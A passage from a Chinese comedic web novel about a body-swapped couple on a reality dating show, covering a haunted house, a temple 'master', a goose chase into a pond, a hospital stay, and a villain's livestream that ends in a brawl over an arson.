“啊啊啊啊啊啊啊啊!” 周悦甜把脑袋一抛,跟疯了似地狂奔而去,边哭边喊:“有鬼,有鬼啊!” — 几个拐角外,乔缨和裴砚知正站在鬼屋的最后一间解剖室里。 两人正要出门,墙角处忽然响起了呜咽声,不像是女鬼那种凄厉的惨叫,声音很稚嫩,更像是小孩子受了委屈的低声啜泣。 裴砚知拉了一下正欲上前查看的乔缨,示意她退后,先她一步走到墙角,轻轻拍了下四肢扭曲的小男孩,开口劝慰。 小男孩:“呜呜呜……我好想哭……” 裴砚知:“别哭。” 小男孩:“呜呜呜……我好难受……” 裴砚 知:“别难受。” 很显然,这种安慰起不到任何效果,乔缨扶额苦笑:“你也真是的,哪有人这么安慰小孩的?” 她向裴砚知拋去一个自信满满的眼神,走到小男孩的身边,安慰性地唱道:“少年自有少年狂,身似山河挺脊梁” 那小男孩被她唱出戏了,瞬间喷出来一个大鼻涕泡,连哭腔都拐了几道弯破了音,转过身对她幽幽地说:“你跑调了。” “切,没意思,不玩了。” 被戳到痛处的乔缨瞬间破防:“你这扮相也一般,一点也不吓人。” 裴砚知有些好笑地看着她:“跟个小孩子叫什么劲。” 两人穿过解剖室来到出口,还没站稳,后面一群乌泱泱的人又哭又笑地冲了出来,因为跑太快而双腿脱力,纷纷倒在两人的脚下。 裴砚知一身白裙,乔缨一身黑衣,快被吓疯的周悦甜躺在地上,迷迷瞪瞪地看着他们,露出一个释然的微笑:“黑白无常……终于……来接人了。” 唯有小A和小B意识还算清醒,抱住乔缨的大腿,一边干呕一边祈求:“裴总,你就答应来我们节目吧……哕……条件随你开……哕……” “这……” 乔缨扶住两人的肩膀,求助地望向裴砚知。 裴砚知捏捏眉心,艰难道:“答应吧,不答应,我怕她俩死我跟前。” 两个内鬼跟在众人身后,慢悠悠地走了出来。 白逸纯看着倒了一地的人,佩服地拍拍童娄梓的肩膀,问:“你真是个天才,你是怎么想到这个吓人的方法的?” 童娄梓神秘一笑:“事情还得从我在天台上迷了三次路说起……” 说到一半,他突然看到了一个熟悉的身影,嘴里的话突然就卡了壳。 “咦,你怎么不说话了?” 白逸纯没发现他的异常,继续和他闲聊:“对了,我刚刚刷到个帖子,说他上班的时候蹿稀把甲方老板当成同事,还让老板替他顶班了,你说这人傻逼不傻逼?” 童娄梓留下两条兰州拉面似的眼泪,两手交叉在脑后,答道:“你猜我为什么不笑?” 第86章 第八十六章 禁欲霸总爆改潮男…… 晨光熹微, 海滨别墅的嘉宾们又开始了要死不活的一天。 几个被鬼屋差点吓去医院急救的人此时正坐在餐桌上,两眼呆滞地吃着早餐,一个个动作僵硬跟机器人一样, 画面非常诡异。 唯一一个在状况外的何孟理被围在中间,只感觉这几个人都被什么鬼魂夺舍了, 浑身刺挠得不行。 他皱眉看了一圈,视线最终定格在人群外的裴砚知身上, 伸长脖子没事找事地说:“小乔, 你今天这个粥煮得也太差了吧,水是水,米是米,一点都不浓稠,简直喝不下去。” “是吗?” 裴砚知心不在焉地看着窗外, 随口一答:“我知道一个阿姨, 煮的东西绝对合你心意,国贸大厦十八楼, 挑一个喜欢的窗户,大头朝下, 那个姓孟的阿姨应该就会来给你送汤了。” 何孟理闻言, 立即松了口气。 只要乔缨还是正常的就行。 真是没想到,这张管制刀具一样的嘴, 居然有一天也会给他带来安全感。 【乔缨给何孟理都调成啥样了,抖……】 【好诡异的气氛啊, 昨天那个鬼屋不让拍摄, 难道里面真有传说中的那么邪乎?】 【你们说得我也想去了。】 昨天阮绵绵和沈颐生病住院的新闻闹得挺大,节目组将两人暂离恋综的消息及时公布在了官微上,还神神秘秘地发了一个人物剪影。 直播间早早就有人来蹲守, 翘首以盼: 【听说今天要来一个新嘉宾,就我一个人好奇是谁吗?】 【乔缨明显是在等人吧,说不定是她认识的谁要来。】 【这还用得着猜?】 窗外响起一阵引擎的轰鸣声,导演特意切了一下外景,给这辆炫酷拉风的超级豪车拉了一个镜头大特写。 【哇豪车———宾利啊我的天呐!】 【抛开宾利不谈,但我抛不开。】 【怎么又是霸总,我都看腻了。】 然而下一秒的画面,却让所有人都热血沸腾起来。 男人从拉开的车门中跨了出来,宽肩长腿,轮廓英挺,墨镜被随意地别在头发上。 一条极细的项链绕在冷白修长的脖颈上,一件花里胡哨的短袖衬衫从领口处敞开,非常大方地一路开到了胸口。 明明是很容易显得像个街溜子的打扮,却因为衣服质感和本人的身材,硬生生穿出了一种花孔雀开屏的感觉。 【我去,禁欲霸总爆改潮男。】 【谢谢,风湿病给我潮出来了。】 【看吧,我就说是裴砚知吧?!】 乔缨看着一屋子瞳孔震惊的人,满意地挑了挑眉。 男人的夏装种类太单一了,裴砚知说让她穿好看点再来,让她对着衣柜里清一色的西装愁了一宿。 本打算直接套个老头衫就来,又觉得有伤风化,翻了好几本杂志,这才绞尽脑汁搭出来这套花孔雀套装。 她推开门和众人打了声招呼,为了避嫌,下意识地坐到了离裴砚知最远的位置,开始按照规则给自己取id名。 半分钟后,恋综app上多了一个叫【冰岛有信号】的联系人。 人物标签是一句十分欠揍的【我不需要很多钱,我只需要很多爱】 标签备注是一句更欠揍的【骗你的,其实我啥都不缺】。 弹幕飘过去一排问号: 【看个恋综给我气笑了。】 【想众筹去打他一顿,谁要加入?】 【@乔缨少男杀手,能不能把这个人给我做掉?】 为了解锁聊天功能,乔缨在怦友圈发了一张现拍的手照,并配上一句简单的文字: 【冰岛有信号:看手猜身高,大胆猜。】 裴砚知对她避嫌的举动颇为不爽,立马在下面评论道: 【血殇·女帝:150。】 乔缨抬头诧异地看他一眼,迎上了裴砚知的目光,满脸震惊地歪了歪脑袋。 她怀疑自己脑子是不是进水了,否则怎么在他眼里看出来一丝幽怨。 视线再回到屏幕上那条怦友圈,“150”三个数字越看越像是挑衅。 她在心里“啧”了一声。 裴砚知这个恶毒女配的人设演得也太入戏了,居然连自己都攻击。 乔缨深吸一口气,燃起了斗志,觑着眼睛回: 【冰岛有信号:没事,你还差40cm就猜到了哦~】 下面很快就又多了一条回复: 【血殇·女帝:110。】 乔缨:“……” 能不能报警把这个人抓起来啊? 她微笑着拍了一张竖中指的照片,给裴砚知发了过去: 【冰岛有信号:早上坏。】 标题栏的“对方正在输入中”闪了又闪,经过漫长的几秒,裴砚知终于发过来了两句亲切的问候: 【血殇·女帝:旱安。】 【血殇·女帝:不是装不认识我吗,怎么不装了?】 搞了半天居然是因为这件事吗? 乔缨出离愤怒了: 【冰岛有信号:我那是在考虑你的形象好不好!表现得太热络会被骂舔狗的,你自己看看这称号好听吗?】 裴砚知表示无法理解: 【血殇·女帝:怎么就不好听了?狗多可爱,狗最可爱。】 乔缨眯了眯眼睛,噼里啪啦打字: 【冰岛无信号:谁说的,我是猫党!】 一场激烈的纷争就这样在无形之中歪了题,两方辩手开始在网络上搜索有关天使猫猫和天使狗狗的事迹企图说服对方,堪称现代版化干戈为玉帛。 乔缨“刷刷刷”发过去五张小奶猫的照片,突然猛地一抬头,眉头一皱:“不对,我要说的不是这个!” 聊天记录没有被投屏,直播间的人只能看到乔缨和裴砚知都低头看着手机,脸色几经变换,表情异常同步: 【这两个人干嘛呢,笑死我了。】 【别避嫌了,你俩哪怕隔着人群坐得再远,都有种难以掩盖的默契好不好。】 【是在私聊吧?有什么东西是我们尊贵的VIP会员不能看的!】 神出鬼没的PD再度出现,宣布今天上午的行程是去当地最为著名的天云寺参观,下午则是自由活动。 吴笑希起了兴趣,问:“天云寺?是那个很灵验的寺庙吗?” 周悦甜 也一下子回了魂,惊讶道:“真的吗?我还托朋友给我带过那里的手串,确实挺有用的。” PD点点头,天云寺求姻缘和事业都很灵验,娱乐圈信这些的人也很多,一番宣传下便也逐渐出了名。 恰逢最近有个大师云游归来,每日都会在天云寺免费替人排忧解难、讲经释道,络绎不绝的善男信女几乎把门槛踏破,节目组好不容易才争取到了几个名额。 乔缨和裴砚知对视一眼,很显然对这些求神拜佛的事情不怎么感冒。 PD见两人兴趣缺缺的样子,想来大概是姻缘和事业都挺好,没这方面的需求,于是又补充了一句:“天云寺求身体健康也挺灵验,风景也很好,去了绝对不虚此行。” 身体健康? 乔缨和裴砚知又对视一眼,几个回合的眼神交流后,异口同声地答应了PD:“我去。” — “我去!” 江简哲站在悬崖峭壁之上,对着崖壁下翻涌的浪花,发自肺腑地感叹道:“这里也太好看了!” 何孟理点头,开始吟诵初中生必背古诗《观沧海》。 奈何第二句的短短八个字,他读错了四个音,只得紧急刹车,故作高深地假装整理袖口:“还得是白居易啊,写得真好!” 周悦甜白他一眼,张开手臂大喊:“好想变成海鸥!” 吴笑希闭上眼睛感受海风,开怀大笑:“好想在这里住一辈子!” 乔缨也学着她俩的样子,闭眼展臂,高呼一声:“好想从这里跳下去!” 大树旁,段羡秋阴暗地爬了出来,在裴砚知身旁小声诋毁:“你看看他,还想跳海,一点都不阳光。” “难道你就很阳光吗?” 裴砚知瞥了一眼他现在的姿势,比蜘蛛侠差不了多少。 寺庙的金顶反射出刺眼的光线,清晨的雾气散开,山上的植被葱茏苍翠,空灵的诵经声在林间回荡。 《大悲咒》资深爱好者裴砚知在此刻阖上双眼,感受着这美妙的旋律,两手微微抬起,轻声叹道:“这才是真正的音乐。” 休整片刻,一行人继续朝着山顶出发,卡着预约时间到达了大师的殿外,自觉排起了长队,挨个儿进去接受开解。 何孟理抢到了第一个位置,在心里默念了几遍自己的问题,鼓起勇气打开了门。 他端坐在蒲团上,卸下了一直以来伪装着的坚强,愁眉苦脸地开口:“大师,没有女朋友我真是太痛苦了,痛苦到我甚至都开始怀疑人生,请问要如何解决这个烦恼?” 大师高深莫测地看着他,淡淡道:“佛曰,想要一滴水永不干涸,唯一的办法就是将它放回大海。” 何孟理紧张地咽了下口水,不住追问:“那、那我该怎么办?” 大师:“女朋友随时会离开,既然你这么渴望女性,建议你自己成为女性。” 何孟理拍案而起:“你他x的!” “来,下一个!” 大师摆摆手让弟子把何孟理拖下去,朝门外高声喊道。 周悦甜紧张兮兮地走了进来,拿起一只藏在包里的手串,小声问道:“大师,不知道你还记不记得这条找你开过光的手串?当时我正在和前男友闹分手,所以拜托朋友替我买了一串。” 手串都是在义乌小商品市场批发来的,大师觑着眼睛扫了一眼,很明显没印象,但也不妨碍他点点头。 得到了肯定的答复,周悦甜心里稍微有了点底气,语气纠结地说出了自己的问题: “虽然当时我和前男友复合了,但没过几天我们就又开始吵架,彻底分手后,我其实到现在都一直没能放下他……” “我心里特别难过,有时候甚至会觉得……离开他我真的活不下去。” 她抹抹眼角的泪水,问:“大师,我该怎么办啊?” 大师言简意赅:“你前男友克你,他会影响你的财运。” “真、真的吗?” 周悦甜一瞬间止住了眼泪,睁大眼睛,想起来前男友吃软饭的种种事迹,恍然大悟地点点头:“怪不得!大师,你真厉害,我感觉我已经看破红尘了!” 大师拍拍桌子赶人,再度高声喊道:“下一位!” 段羡秋走了进来,清了清嗓子,说:“那个,我就是想问问,在我喜欢的那个人心里,我是个什么样的形象。” 大师狐疑地看着他:“你喜欢的人太多,你指的哪一个?” 段羡秋气急败坏:“当然是最喜欢的那一个!” 大师说得一针见血:“你没有最喜欢的,你只有最想得到的。” 段羡秋默了两秒:“好吧,那就是她,在她心里我怎么样?” 大师闭上眼睛掐手算了算,然后委婉地给出提示:“你在街上看到一个长得特别丑的男人,你是什么反应?” “……你老公?” 段羡秋试探着问。 “不是,是辣眼睛!” 大师唾沫星子横飞:“她觉得你辣眼睛,懂了吧?下一个!” 段羡秋心如死灰,游魂似的飘了出去。 擦肩而过时,还颇为幽怨地剜了一眼刚刚进门的乔缨和裴砚知。 后面进屋的两人坐到蒲团上,古怪地打量着这位传说中的神秘大师。 还没等他们开口,大师率先变了脸色,摆手拒绝:“走吧走吧,你俩我可看不了。” “为什么?” 裴砚知拉住大师的手,想要问个明白。 大师瞪他一眼:“因为你不是人。” “哈哈哈,他说你不是人。” 乔缨指着裴砚知大笑,大师忽然又瞪了她一眼,道:“笑什么笑,你也不是人。” 乔缨呲出的大牙缓缓收了回去。 大师的视线在两人之间逡巡,忽然说了一句:“我们都不是人。” 末了,他在桌子里掏掏掏,掏出来一盒全新未拆封的退烧药,放到乔缨手中,语气严肃:“姑娘,吃了它,你就能变回去。” 乔缨一惊:“你怎么看出来我是男扮女装……不对,你怎么知道我是姑娘的?” 大师指了指头顶上方,避而不语。 乔缨顺着他手指的方向看了一眼,一条小猫尾巴从横梁上垂下,除此之外什么都没有。 她不解地问:“天花板到底有谁在啊?” — 下午的行程安排是自由活动。 周悦甜在经过昨晚的鬼屋事件后,终于和吴笑希建立起了一点微薄的友谊,说服了吴笑希和她一起去逛街,再买点慰问品,去医院看望两位不知道是真病还是假病的前同事。 几个长满心眼子的男嘉宾又开始算计,都觉得这是个立人设的好机会,满口答应下来,自愿充当拎包小弟。 现场只剩下乔缨和裴砚知去向还未定。 逛街太累,看望前同事更是晦气,乔缨正在纠结到底是回去睡大觉还是去看电影时,忽然听到裴砚知问了一句:“你想去生态农场玩吗?” 她转过头,发现他手里正攥着一张刚被人塞过来的广告单,上面写着情侣套票八折优惠。 既然有优惠,那没办法了。 乔缨坚定点头:“想去。” 两人一拍即合地敲定了计划,一旁的周悦甜却微不可见地皱了一下眉。 今天下午逛街加探病的行程是她一手张罗安排的,因为信息差,她一直以为目前人气最高的嘉宾是阮绵绵和沈颐。 现在阮绵绵生病住院,没有皇族拿剧本压着她,她想趁机体现一下自己的领导和统筹能力。 可如今裴砚知和乔缨居然要单独行动,怎么看都是在打她的脸。 周悦甜npd人格大发作,还没等她想好让两人妥协的话术,何孟理却先她一步把话说了出来,指责道:“你们也太不合群了吧?” 【相信我孟理老叔,和你这种人合群,他俩应该觉得还不如去上吊。】 【说好的自由活动,人家不想去也没毛病啊。】 周悦甜往后扯了一把猪队友,苦口婆心地劝:“去看一看吧,大家相识一场,人生路这么长,遇到能并肩同行的人不容易。” 话音未落,乔缨今早请来的司机正好将车从停车场里开了出来,停在路边,尽职尽责地替他们打开了车门。 汽车发动,路过周悦甜时,乔缨特意降下了车窗,扬起一个和蔼可亲的微笑。 “人生在世,相识也许是一场报应。” 她晃了晃车钥匙,扔下一句轻飘飘的话:“你继续并肩同行吧,我们先坐宾利走了。” 【草。】 【好嚣张,不愧是乔姐夫,缺德起来真是别有一番风味。】 【周悦甜,你记住,道德绑架的前提是对方得要有道德才行。】 今天的司机仍旧是上次那个下巴脱臼的南岛小泥鳅,他七拐八拐,三下五除二地把人送到了目的地。 生态农场位于南岛上一个较为偏僻的林区,两人原本以为这里会很荒凉,可实际上面积非常大,分了好几块区域,甚至还有民宿区和喝下午茶的地方。 田里的水稻冒着绿茬,三角梅开得正旺,四周还散乱分布着一些叫不出来名字的热带植物和花卉。 乔缨养花人的DNA狠狠动了动,一边走一边辨认着品种,嘴里时不时发出几句感叹。 不远处的花海里有人正在拍婚纱照,她绕开镜头,走到落后几步的裴砚知身边,评价道:“给你塞传单的阿姨是个好人。” 裴砚知点点头,将手中的遮阳伞往她那边靠了靠,一本正经地说:“遮着点吧,别把我冷白皮晒没了。” “你还怪精致的。”乔缨吐槽。 正好路过农场里卖文创产品的商店,她随手拿了顶遮阳帽试了试,然后站在镜子前一照,陷入沉默。 呃,戴上去感觉什么都可以偷,就是没办法偷人。 店员是个戴眼镜的女孩,看起来很文静,见他俩好像是第一次来的样子,很贴心地送了一张手绘地图,还说他们这里的动物园里有熊猫。 两人将信将疑地按照地图走过去,在裴砚知的近视眼里,能朦朦胧胧地看见铁丝网中,有两只黑白配色的不明生物正在打架。 他不明所以地凑近一看,只见介绍牌上写着三个大字:熊猫犬。 再往下,科普区还写着一行小字:我们就是熊猫,骗你是小狗! 裴砚知忍俊不禁地扯扯嘴角:“好幽默。” 这农场主是个人物。 乔缨则是被路上几只大白鹅吸引了注意力,偷感很重地跟在它们身后拍照,笑得没心没肺:“裴砚知你看,这大鹅走路姿势一摇一摆的,好搞笑啊!” 突然间,几只大白鹅仿佛听懂了似的,猝不及防转过了头。 然后大鹅脖子一伸,乔缨嘴角的笑容消失了,再翅膀一展,乔缨脸上的血色也没了。 大白鹅像几只战斗机一样追着她撵,乔缨举着手机夺命狂奔,不小心按到了连拍键,在相册里留下几张被大鹅追到崩溃的live图。 田埂上,她的惨叫声响彻云霄。 “啊啊啊啊啊不要追我!我没穿羽绒服,这没有你大舅!” “不是,你怎么还飞起来咬人啊!你家大人呢?有没有教过你思想道德?没素质!” “是我错了,我不该嘲笑你们走路,放我吧鹅大人,小的下次再也不敢了!” 这一切都发生得太快,等裴砚知反应过来时,乔缨已经被鹅撵到了池塘边。 发型散乱,面色苍白,整个人的状态只能用一个“惨”字来形容。 他震撼地抬起眉毛,一个瞬移,跑出了博尔特的速度,然而只来得及碰了一下乔缨的手指。 拉不住,根本拉不住。 乔缨眼角噙着泪,在最后关头使出全身的力气把手机抛了出去,对裴砚知交代遗言:“照顾好……我的手机……别让警察看到……我的浏览器记录……” 在空中划出一道弧完美的抛物线后,“扑通”一声,她安详地闭上了双眼。 可想象中的溺水感并没有到来。 乔缨闭着眼睛,疑惑地动了动手指,居然摸到了一片泥土。 咋回事? 她蓦然睁开眼,一个大腚从她头顶上冒了出来,戴着遮阳帽的大婶转过身,拔葱似的把她提溜到岸上,眼里全是鄙视。 大婶啧啧啧地说道:“小伙子,你咋回事,俺这塘拢共就半米多深,你搁这儿哇哇乱叫的,把水鸭都吓跑了。” 乔缨迷茫地眨眨眼睛,几只大鹅站在她身边,威风凛凛地俯视着她这个手下败将。 裴砚知,一个从小在喊麦和社会摇的家庭文化中长大的孩子,一个天性不爱笑的霸总,此刻却憋笑憋得脸红。 他拔下几根插在乔缨头发里的木梗,在看到她人中上沾着的一小片水草后,终于放声大笑了起来。 好好好,嘲笑我是吧。 治不了大鹅,我还治不了你? 乔缨眯起眼睛,趁他不注意,抱住他的脖子一个翻滚,像条鳄鱼一样拖着他进了池塘,发出一阵奸笑:“下来吧你!” 裴砚知躲避着她的攻击,耳朵尖通红,神色却是飞扬的。 碧波荡漾,夕阳斜照,余晖映在情人的眼中,比星星还亮。 大婶看着两个在塘子里打打闹闹的人,摇摇头叹气,拿起掉落在一旁的手机,口嫌体正直地替他们拍了一张照。 这么美好的时刻,如果不记录下来,就太可惜了。 她放下手机哼着歌,抓起大白鹅的脖子,一手一只,任由夕阳将影子拉长,慢悠悠地走在田埂上,一个不慎,被大鹅啄了一下屁股。 微凉的晚风中,飘来几道“嘎嘎嘎”的乱叫和大婶气急败坏的咒骂声。 乔缨和裴砚知站在池塘边,笑得直不起腰,索性躺倒在草坪上,对着天上几颗稀稀拉拉的碎星发呆。 两个讨厌夏天的人,在此刻达成了共识。 这个黏糊糊的季节,好像也没那么糟糕。 第87章 第八十七章 惊魂未定地捏了一把胸大肌…… 事实证明, 人还是不能把话说得太满。 太阳的余温散去,刚跟夏天和解了不到五分钟的乔缨被风一吹,忍不住打了个寒战, 拉着裴砚知手脚并用地从水塘子里爬了出来。 这里的位置离民宿很近,颇有眼力见的服务员早就准备好了毛巾和热茶, 连休息的房间都提前里里外外收拾了一遍。 房间很干净,偌大的落地窗将景色尽收眼底, 上方还有一扇小窗, 能看到夜空中闪烁的繁星。 问题是,服务员太有眼力见了,给他俩开的是间大床房,床上还铺了一层爱心型的玫瑰花瓣。 感觉有些尴尬哈。 乔缨抠抠手指,将视线从床上挪开, 盯着地板, 生硬开口:“咳,你先洗还是我先洗?” 裴砚知也不自然地撇过了头, 裹紧身上的毛巾,强撑着平静的语气道:“你先洗, 我去找他们要两身干净的衣服。” 说完他就推门离开了, 乔缨站在原地,对着他匆匆忙忙的背影打了个喷嚏, 拿起浴袍进了浴室。 热水顺着皮肤滑落,驱散了一点身体上的寒意。 随着手指一寸寸抚过肌肉, 她原本有些昏沉的大脑一瞬间清醒了过来, 突然发现自己现在有个顶级男菩萨一般的身体。 乔缨把头发往后一抹,想象自己是在拍偶像剧的男主角,几乎下意识地凹起了造型, 对着玻璃门外某个不存在的机位邪魅一笑。 像是被谁夺舍了一样,她熟练地绷紧了下颌线,鬼迷日眼的ending pose摆到一半才恍然回神,赶紧止住动作,惊魂未定地捏了一把胸大肌。 真是男人当久了,她这工伤简直比出成男的coser老师还要严重。 浴室的门被人轻敲了几下,乔缨应答一声,将门打开一条小缝。 裴砚知背着她递进来一个纸袋,声音已经完全恢复了正常,淡声说道:“便利店 买的,凑合着穿吧。” “哦,谢谢。” 乔缨接过纸袋,隔着一道门,有一搭没一搭地和裴砚知说话,大多是关于后续工作的事情。 今天是恋综的第三天,根据合同,拿了万人嫌剧本的乔缨将会在第十天强行下线,理由是太过尖酸刻薄被观众抵制。 裴砚知问:“那你呢?” “节目组有意用咱俩炒作话题,我当然是和你一起下线领便当咯。” 乔缨带着一身水气推门而出,躺在床上舒服地伸了个懒腰,感觉连眼皮都抬不起来了。 “我先睡一会儿,你洗完了叫我吧。” 她打着哈欠,把头埋进枕头里,说完便沉沉睡去。 梦境依旧混沌,她感觉自己像是一个被绑在木桩上的中世纪女巫,满腔愤怒,四肢酸痛,有谁正高举着火把焚烧着她。 然后一只猫跑了过来,挥舞着利爪将那群拿着火把的人赶走,气呼呼地炸开了毛。 梦里的画面消失。 不知过了多久,头顶上方传来两道模模糊糊的声音。 有个女声似乎在焦急地问:“王医生,她这是得了什么病?为什么身上那么烫?” 被称作王医生的人大惊失色:“你怎么回事,为什么拖到这个时候才来问!” 女人更加紧张了,连带着声线都抖了抖:“怎么了医生,她这是……没救了吗?” 王医生云淡风起地回答:“不是,我要下班了。” 这是在演什么小品? 乔缨费力地睁开眼,看到裴砚知正沉着脸站在一旁,看到她醒后明显松了一口气。 他摸了摸乔缨的额头,软下声音问:“你感觉怎么样?身体有没有不舒服?” 乔缨艰难地动动手指头,指着自己,一脸诧异:“……我看起来像很舒服的样子吗?” 她又看向被称作王医生的人,一颗锃光瓦亮的卤蛋头在灯光下熠熠生辉,唯独在耳旁两侧留下了两簇瓦片似的头发。 烧得有些糊涂的大脑让乔缨彻底放弃了个人素质,很没道德地指着王医生笑:“笑死,帕恰狗。” 见她还有力气开玩笑,王医生无奈地耸耸肩,说道:“我说了吧,就是普通的感冒发烧而已,打完点滴再吃点药就行了。” 因为来得匆忙,乔缨口袋里那盒大师给的退烧药掉了出来,被王医生捡起放到桌面上。 “既然你买了药,我就不给你开了哈。” 王医生将病患信息卡往床头一塞,把笔别到白大褂上,嘱咐了一句:“现在和睡前各一次,每次吃两粒,应该就没问题了。” 说话间,一个护士推门而入,扎完针后调整了一下点滴的流速,和王医生一起离开了病房。 裴砚知端来一杯温水,乔缨就着他的手把药吞了下去,晕乎乎地躺回到病床上,再一次打起了哈欠。 “累了就睡会儿吧。” 他一边说,一边替她掖着被子,冰凉的手掌贴上额头,烫得他眉心一皱。 浑身像被火烧的乔缨宛如找到了救命稻草,抓住他的手往下移,用脸颊蹭了蹭。 她吸吸鼻子,浓重的鼻音带着一丝撒娇的意味,声音黏黏糊糊的,老实巴交地回答:“我睡不着。” 隔壁床是个得了重感冒的小女孩,和乔缨一样,说什么都不肯闭眼睛,小女孩的妈妈只好一边拍着背一边给她唱《小兔子乖乖》哄睡。 裴砚知任由乔缨抓着手指,见隔壁床的哼唱声吸引了她的注意,挑眉问道:“你不会也想让我给你唱歌哄睡吧?” “可以吗?” 乔缨眼睛一亮:“我想听重金属。” 裴砚知面无表情:“你实际一点。” “那算了,我选择听歌。” 乔缨拿出耳机戴上,对他微微一笑:“你喜欢的话,耳机分你一半。” 裴砚知将信将疑地接过,入耳便是一阵欢快的唢呐声,紧接着便是一段抽象到不能再抽象的歌词,全程围绕着脚后跟黑黑的皴展开。 哪怕是植物人,听到这首歌也要挣扎着坐起来把它给关了。 他摘下耳机,揉揉被污染到的耳廓,发出一道振聋发聩的疑问:“这什么歌?” 乔缨满脸正经:“《脚后跟的皴等着谁来搓》,还不错吧?” 你什么音乐品味? 裴砚知有些后悔结果这只耳机了,只能试探性地问:“……能不能换一首?” “哦,那你自己挑一个吧。” 乔缨打开手机,大大方方地把歌单展示在他面前,看得裴砚知倒吸一口凉气。 曹万江,请问是什么催使你写出《你要结婚了》《你要二婚了》《你要三婚了》《你要二胎了》《你要三胎了》……这几首歌的? 他闭了闭眼,妥协似的深吸一口气:“要不,我还是给你唱《小兔子乖乖》吧?” 于是在一阵像老奶奶说梦话的歌声里,乔缨安然入睡。 这一次没有做梦,可不知过了多久,她睡着睡着,忽然感觉胸口有一个很重的东西在压着她,喘不过气。 鬼压床,绝对是鬼压床。 眼皮下的眼球急速转动,乔缨使出全身力气试图唤醒身体,却无济于事。 她想起有传闻说骂脏话可以吓走那些脏东西,本就刻薄的嘴越发刻薄起来,闭着眼睛疯狂输出。 功夫不负有心人,在她骂出第108句脏话后终于蓦地睁开了眼,然后便对上了一双圆溜溜的大眼睛。 她倒在病床上,一只体格健壮的狸花猫蹲坐在她胸口,见她醒后“喵嗷”的一声从窗口逃走了。 被小猫踩过的地方还隐隐作痛,难怪在梦里会有那么强烈的窒息感,原来是她身上碾着一辆半挂。 乔缨伸出手揉了揉发疼的胸口,忽然发现触感不太对,猛地侧过头看了一眼身旁的人。 哇去,帅她一大跳。 不对,这是又换回来了? 她用手戳了戳裴砚知,因为发着烧,微红的脸颊在病房并不明朗的光线下,显出一种完全不属于他的脆弱和柔和来。 被子下,裴砚知的手被她虚虚握住,十指交缠的力道不清不重,却给人一种强烈的禁锢感。 乔缨疑惑地盯着这两只手掌,回忆片刻。 她睡着的时候,有和裴砚知牵手来着吗? — 几楼之上的肛肠科,做完手术的沈颐正端坐在病床上,摆弄着一只直播用的手机。 他那天夜会霍齐姣的照片不知被哪个狗仔拍到传了出去,说他陪睡上位的消息闹得沸沸扬扬,在各大论坛里吵翻了天。 因为这件事,好不容易接到的戏也被搅黄了,剧组连夜发声明将他退货,生怕沾上晦气。 正当他百愁莫展之时,有家MCN机构找上了他,给他量身打造了一套洗白的话术,唯一的要求是让他把事情闹大,然后开直播打赏,为机构提供洗钱的渠道。 沈颐走投无路下,咬咬牙一口答应了要求,今天在微博发了一天的疯,成功盖过了阮绵绵生病的热度。 按照流程,他先是开撕剧组,造谣剧组是因为欺负小演员才将他开除,说自己是无产阶级受到资本压迫。 其次是造同组演员黄谣,男演员就造谣是gay?和导演有一腿,女演员就无中生有给她造个金主,故意模糊用词,引导性极强。 最后再卖一卖cp,在粉丝打探阮绵绵的消息时含情脉脉地回了一句: 【沈颐V:她很好,她值得!】 不出意外,很快得到了一堆纯爱战士的追捧,一个个开始咯噔语录,说他火力全开时抽空吻了一下阮绵绵。 有了这层滤镜,连和霍齐姣的丑闻都能被洗成无良导演强迫单纯小演员,摇身一变又成了清清白白的大男孩。 而作为多年对家的李辰星居然也抛掉了前嫌,boys help boys,duck helps duck,站出来帮他说话,转发微博道: 【李辰星V:共鸣,非常共鸣,水太深了。】 经过一天的努力,热度是攒得够够的,沈颐就等着开播再捞一笔大的。 病房里不方便,为了完成主人的任务,他特意买了个直播用 的补光灯,来到早就踩过点的天台,调整好美颜参数开始直播。 直播间很快就涌入了一大批人,他照着编好的话术开始漏洞百出地回应,一心等着大哥给他刷礼物。 有人质疑他假装工薪阶级,他脸不红心不跳地说:“我卡里只有180。” 有人嘲笑他一身名牌来卖惨,他理直气壮地反问:“我活该穷是么?” 有人真情实感地和他连线,说自己和媳妇都很支持他正义出击,他猥琐地来了一句:“看看媳妇。” 就这样左右脑互搏地等来等去,还没等到MCN机构的人来,他身后的柜子忽然一动。 一个披头散发的流浪汉猩红着双眼从柜子里冲了出来,作势便要来掐沈颐的脖子,将他扑倒在地。 直播镜头因着这道冲击力一晃,正好对准了在地上扭打的两个人。 刚做过手术的沈颐身体本就虚弱,躺在地上吃力地反抗,流浪汉打着绺的头发垂落在两旁,露出了一张灰扑扑的脸。 沈颐看着这人熟悉的眉眼,震惊地张开嘴:“乔俞诚?!” 公鸭似的嗓音在空旷的天台上回荡,声控灯亮起,照亮了流浪汉的正脸。 乔俞诚表情阴狠,因为连续几天没吃饱饭了,他现在的力气和沈颐差不了多少,看似是打架斗殴,实则是菜鸡互啄。 他全身压在沈颐身上,和霸总男主一样红着眼睛掐住沈颐的脖子,精神状态已经明显陷入癫狂,嘴里不断重复着同一句话:“是你!都是你!乔家别墅是你放火烧的!” “你清醒一点!” 沈颐别过头躲掉他的唾沫星子,一脚踹到他裆部,好不容易争取到一点喘息的机会,一头雾水地问:“什么叫乔家是我放火烧的?你有证据吗?” 乔俞诚双手加重了力道,狠戾道:“杀人犯,你果然不会承认。” 直播间识别到关键词被封禁,两个又老又残简称老残的人气喘吁吁地趴在地上,四肢扭成麻花的形状,团在一起。 乔俞诚两只手臂绞着沈颐的头,说得咬牙切齿:“失火那天,你在乔缨的卧室里留下了一截烟头对吧?” 听到他的问题,沈颐迷茫了一瞬,想了半天才想起来还有这档子事。 事关重大,他当然不肯承认,皱着眉反驳道:“我没去过,你别血口喷人。” “死鸭子嘴硬。” 乔俞诚打开一段视频,没好气把手机扔到他身上,怒吼:“自己看!” 他从裴砚知给他的宠物运动相机里导出了一段视频,在别墅着火前,一只戴着相机的猫正好跑到了乔缨房间里,完完整整记录下了沈颐和女人调情以及扔烟头的全过程。 虽然整个视频没有声音,但他亲眼看到沈颐将烟头抛到了地上,地板立即窜起一股火苗,把猫吓得躲到了储物柜里。 画面一片漆黑,等镜头再次转向房间内时,整个屋子已经熊熊燃烧了起来。 猫从阳台上跳下,然后躲在草丛中,将相机交给了裴砚知。 乔俞诚用技术手段查过,视频没有剪辑的痕迹,虽然目前在别墅纵火的最大嫌疑人是邱凌,但沈颐毋庸置疑也是帮凶。 他手上更加用力地绞紧,像是要拧断沈颐的脖子一样,嘴里不断咒骂:“你这个杀人犯,如果不是你,我爸就不会死,我也不会变成这样!” 